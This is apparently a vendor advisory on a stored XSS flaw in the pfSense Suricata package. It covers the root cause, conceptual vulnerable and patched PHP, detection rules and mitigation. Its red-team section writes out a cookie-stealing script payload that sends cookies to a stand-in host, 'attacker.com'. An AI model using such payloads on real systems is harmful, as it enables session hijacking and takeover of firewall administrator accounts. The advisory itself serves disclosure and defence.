CVE-2025-34178

Executive Summary

CVE-2025-34178 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the pfSense CE Suricata package, specifically within the /suricata/suricata_app_parsers.php file. An authenticated attacker with at least "WebCfg - Services: suricata package" permissions can inject arbitrary HTML or JavaScript into the policy_name parameter. This input is not sanitized before being stored and later displayed to other users, leading to persistent XSS attacks. The vulnerability is currently unpatched and poses a significant risk to pfSense firewall administrators, as it can be used to steal session cookies, perform actions on behalf of other admins, or deploy further malicious payloads.

Supply Chain & Package Security

This vulnerability resides in the Suricata package for pfSense CE, which is a third-party add-on. The package is distributed via the pfSense package manager. The lack of input sanitization in the PHP backend highlights a failure in secure coding practices within the package's supply chain. Administrators should treat this as a high-priority package security issue and monitor for official updates from the pfSense project or the Suricata package maintainer.

CVSS Breakdown & Threat Level

Estimated CVSS v3.1 Score: 5.4 (Medium)

• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker must be authenticated with specific permissions.
• User Interaction (UI): Required (R) - The victim must view the malicious page.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., session cookies).
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the persistence of the XSS and the potential for privilege escalation within the pfSense web interface elevate the risk.

Deep Dive & Mechanics

The vulnerability is located in the suricata_app_parsers.php file. This file is part of the Suricata package's web interface, used to manage application layer parser configurations. The policy_name parameter is likely used to define custom policy names for Suricata rules.

Root Cause: The application fails to sanitize or escape the policy_name input before storing it in the database and later rendering it in the HTML output. This allows an attacker to inject malicious JavaScript or HTML.

Attack Flow:

1. Authentication: The attacker must first authenticate to the pfSense web interface with a user account that has the "WebCfg - Services: suricata package" privilege.
2. Injection: The attacker navigates to the vulnerable page (/suricata/suricata_app_parsers.php) and submits a form with a crafted policy_name parameter containing a malicious payload, e.g., <script>alert('XSS')</script>.
3. Storage: The unsanitized payload is stored in the pfSense configuration database.
4. Trigger: When any other authenticated user (including an administrator) views the Suricata application parsers page, the stored payload is executed in their browser.
5. Impact: The attacker can steal session cookies, perform actions on behalf of the victim, or redirect them to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// suricata_app_parsers.php (Vulnerable)
$policy_name = $_POST['policy_name'];
// Directly store and display without sanitization
$config['installedpackages']['suricata']['app_parsers'][] = $policy_name;
// Later, when rendering:
echo "<td>" . $policy_name . "</td>";

Patched Code (Conceptual):

// suricata_app_parsers.php (Patched)
$policy_name = htmlspecialchars($_POST['policy_name'], ENT_QUOTES, 'UTF-8');
// Store sanitized value
$config['installedpackages']['suricata']['app_parsers'][] = $policy_name;
// When rendering, the value is already safe
echo "<td>" . $policy_name . "</td>";

The patched version uses htmlspecialchars() to convert special HTML characters (like <, >, ", ', &) into their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• pfSense CE instance with Suricata package installed.
• Valid credentials for a user with "WebCfg - Services: suricata package" permissions.

Exploit Steps:

1. Log in to the pfSense web interface.
2. Navigate to Services > Suricata > Application Parsers.
3. In the "Policy Name" field, inject a payload. For example, to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. Any other admin viewing the same page will have their cookies sent to the attacker's server.

Proof-of-Concept (PoC) Payload:

<script>alert('XSS')</script>

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /suricata/suricata_app_parsers.php with suspicious policy_name parameters containing <script>, onerror=, or other HTML/JavaScript constructs.
• Use the detection rules provided below.

Response:

1. Immediately revoke the privileges of any user account suspected of being compromised.
2. Review the Suricata application parsers configuration for any suspicious entries.
3. Remove any malicious entries from the configuration.
4. Apply a temporary workaround (see Remediation & Mitigation) until an official patch is released.
5. Rotate all administrative session tokens and passwords.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /suricata/suricata_app_parsers.php with policy_name containing <script>, onerror, onload, javascript:, or base64-encoded payloads.
  • Outbound connections from the pfSense web interface to unknown external IPs (potential cookie exfiltration).
• Host:
  • Unusual entries in the pfSense configuration XML file (/cf/conf/config.xml) under the installedpackages/suricata/app_parsers section containing HTML/JavaScript.
  • Modified or new files in /usr/local/pkg/suricata/ (if the attacker uploads a malicious package).
• Logs:
  • Web server logs (e.g., /var/log/nginx/access.log) showing repeated POST requests to the vulnerable endpoint.
  • pfSense system log entries indicating unexpected configuration changes.

Detection Engineering

YARA Rule

rule CVE_2025_34178_Suricata_XSS {
    meta:
        description = "Detects stored XSS payload in pfSense Suricata config"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-34178"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"].*?['\"]/i
        $xss_javascript = /javascript\s*:/i
    condition:
        // Look for XSS patterns in the Suricata app parsers config section
        $xss_payload or $xss_event or $xss_javascript
}

Sigma Rule

title: Stored XSS in pfSense Suricata Package
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-34178 by injecting XSS payloads into the policy_name parameter.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        http.method: 'POST'
        http.url: '/suricata/suricata_app_parsers.php'
        http.body|contains: 'policy_name='
    filter:
        http.body|contains|all:
            - 'policy_name='
            - '<script'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in policy names (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-34178 - Stored XSS in pfSense Suricata Package"; flow:to_server,established; content:"POST"; http_method; content:"/suricata/suricata_app_parsers.php"; http_uri; content:"policy_name="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation (No Patch Available):

1. Restrict Access: Limit the number of users with "WebCfg - Services: suricata package" permissions. Use the principle of least privilege.
2. Input Validation: As a temporary workaround, modify the vulnerable PHP file to sanitize input. Add $policy_name = htmlspecialchars($policy_name, ENT_QUOTES, 'UTF-8'); before storing the value.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> or other XSS patterns in the policy_name parameter.
4. Monitor: Actively monitor logs for exploitation attempts.

Long-Term Remediation:

• Apply the official patch from the pfSense project or the Suricata package maintainer as soon as it is released.
• Update to the latest version of the Suricata package.
• Conduct a security audit of all custom PHP code in the pfSense package ecosystem.

Valters IT
Securing Digital Frontiers